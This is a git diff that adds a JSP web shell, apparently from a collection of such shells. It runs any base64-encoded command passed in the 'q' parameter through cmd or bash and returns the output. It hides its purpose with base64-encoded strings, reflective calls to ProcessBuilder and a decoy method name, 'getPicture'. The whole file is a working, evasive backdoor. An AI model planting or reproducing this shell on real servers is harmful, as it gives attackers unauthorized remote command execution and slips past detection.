diff --git a/jsp/ProcessBuilder-reflect-cmd.jsp b/jsp/ProcessBuilder-reflect-cmd.jsp
new file mode 100644
index 0000000..e6ea231
--- /dev/null
+++ b/jsp/ProcessBuilder-reflect-cmd.jsp
@@ -0,0 +1,54 @@
+<%@ page pageEncoding="UTF-8" %>
+<%@ page import="java.util.List" %>
+<%@ page import="java.util.Scanner" %>
+<%@ page import="java.util.ArrayList" %>
+<%@ page import="sun.misc.BASE64Encoder" %>
+<%@ page import="sun.misc.BASE64Decoder" %>
+
+
Just For Fun
+
+Build By LandGrey
+
+
+
+<%!
+ public static String getPicture(String str) throws Exception {
+ List list = new ArrayList();
+ BASE64Decoder decoder = new BASE64Decoder();
+ BASE64Encoder encoder = new BASE64Encoder();
+ String fileSeparator = String.valueOf(java.io.File.separatorChar);
+ if(fileSeparator.equals("\\")){
+ list.add(new String(decoder.decodeBuffer("Y21k")));
+ list.add(new String(decoder.decodeBuffer("L2M=")));
+ }else{
+ list.add(new String(decoder.decodeBuffer("L2Jpbi9iYXNo")));
+ list.add(new String(decoder.decodeBuffer("LWM=")));
+ }
+ list.add(new String(decoder.decodeBuffer(str)));
+ Class PB = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlByb2Nlc3NCdWlsZGVy")));
+ Process s = (Process) PB.getMethod(new String(decoder.decodeBuffer("c3RhcnQ="))).invoke(PB.getDeclaredConstructors()[0].newInstance(list));
+ Scanner sc = new Scanner(s.getInputStream()).useDelimiter("\\A");
+ String result = "";
+ result = sc.hasNext() ? sc.next() : result;
+ sc.close();
+ return encoder.encode(result.getBytes("UTF-8"));
+ }
+%>
+
+<%
+ String name ="Input Nothing";
+ String query = request.getParameter("q");
+ if(query != null) {
+ name = getPicture(query);
+ }
+%>
+
+
+<%= name %>
+
+
+
+